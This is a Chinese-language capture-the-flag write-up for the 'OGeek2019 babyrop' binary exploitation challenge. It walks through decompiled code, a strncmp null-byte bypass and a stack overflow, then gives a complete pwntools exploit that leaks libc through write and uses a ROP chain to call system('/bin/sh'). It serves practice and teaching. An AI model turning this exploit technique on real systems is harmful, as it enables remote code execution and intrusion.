OGeek2019 babyrop
checksec
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
main
int __cdecl main()
{
int buf; // [esp+4h] [ebp-14h] BYREF
char v2; // [esp+Bh] [ebp-Dh]
int fd; // [esp+Ch] [ebp-Ch]
sub_80486BB();
fd = open("/dev/urandom", 0);
if ( fd > 0 )
read(fd, &buf, 4u);
v2 = sub_804871F(buf);
sub_80487D0(v2);
return 0;
}
- /dev/urandom : Unix系统中的特殊设备文件,可用作
随机数发生器
或者伪随机数发生器
sub_804871F
int __cdecl sub_804871F(int a1)
{
size_t v1; // eax
char s[32]; // [esp+Ch] [ebp-4Ch] BYREF
char buf[32]; // [esp+2Ch] [ebp-2Ch] BYREF
ssize_t v5; // [esp+4Ch] [ebp-Ch]
memset(s, 0, sizeof(s));
memset(buf, 0, sizeof(buf));
sprintf(s, "%ld", a1); // a1是/dev/urandom生成的随机数,将其写入s
v5 = read(0, buf, 0x20u);
buf[v5 - 1] = 0;
v1 = strlen(buf);
if ( strncmp(buf, s, v1) ) //比较s和用户输入的buf值,如果为1(buf>s)则退出,否则输出Correct
exit(0);
write(1, "Correct\n", 8u);
return (unsigned __int8)buf[7]; //带进sub_80487D0()的参数为用户输入的第8个元素
}
- sprintf() : 发送格式化输出到str所指向的字符串
这里利用strncmp()函数遇到'\x00'
截断的性质,让buf小于这个随机数s,返回0,输出Correct后进入sub_80487D0()函数
payload_1 = b"\x00"
sub_80487D0
ssize_t __cdecl sub_80487D0(char a1)
{
char buf[231]; // [esp+11h] [ebp-E7h] BYREF
if ( a1 == 127 )
return read(0, buf, 0xC8u);
else
return read(0, buf, a1);
}
如果a1 == 127,则读取0xC8
大小,否则读取a1大小
我们可以看到buf大小为231
, 即0xE7
,而0xC8
(200)长度是不够的,于是我们需要a1尽可能的大,payload可以这样构造
payload_1 += b"\xff" * 7
第一阶段的完成payload
payload_1 = b"\x00" + b"\xff" * 7
接着我们就可以打一段ROP了,先构造一条ropchain,通过write
leak其libc基址
payload_2 = b'a' * (0xE7 + 0x4) + p32(write_plt) + p32(main) + p32(1) + p32(write_got) + p32(4)
write_addr = u32(io.recv(4).ljust(4 , b'\x00'))
success("write_addr -> %s" % hex(write_addr))
libc_base = write_addr - libc.sym['write']
接着拿到system
和/bin/sh
然后getshell
system = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
payload_3 = b'a' * (0xE7 + 0x4) + p32(system) + p32(0) + p32(bin_sh)
完整exp
'''
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
'''
from pwn import *
from LibcSearcher import *
context(os = 'linux' , arch = 'i386' , log_level = 'debug')
local = 1
host = "node4.buuoj.cn"
port = 25769
elf = ELF("/mnt/c/Users/M1sceden4/Desktop/pwn/babyrop[OGeek2019]")
if local == 1:
io = process("/mnt/c/Users/M1sceden4/Desktop/pwn/babyrop[OGeek2019]")
else:
io = remote(host , port)
write_got = elf.got['write']
write_plt = elf.plt['write']
main = 0x08048825
payload_1 = b"\x00" + b"\xff" * 7
io.sendline(payload_1)
io.recvuntil("Correct\n")
payload_2 = b'a' * (0xE7 + 0x4) + p32(write_plt) + p32(main) + p32(1) + p32(write_got) + p32(4)
io.sendline(payload_2)
# write_addr = u32(io.recvuntil("\xf7")[-4:].ljust(4 , b'\x00'))
write_addr = u32(io.recv(4).ljust(4 , b'\x00'))
success("write_addr -> %s" % hex(write_addr))
# libc = LibcSearcher("write" , write_addr)
# libc = elf.libc
libc = ELF('/mnt/c/Users/M1sceden4/Desktop/pwn/libc/libc-2.23_.so')
# libc_base = write_addr - libc.dump('write')
# success("libc_base -> %s" % hex(libc_base))
# system = libc_base + libc.dump('system')
# bin_sh = libc_base + libc.dump('str_bin_sh')
libc_base = write_addr - libc.sym['write']
system = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
payload_3 = b'a' * (0xE7 + 0x4) + p32(system) + p32(0) + p32(bin_sh)
io.sendline(payload_1)
io.recvuntil("Correct\n")
io.sendline(payload_3)
io.interactive()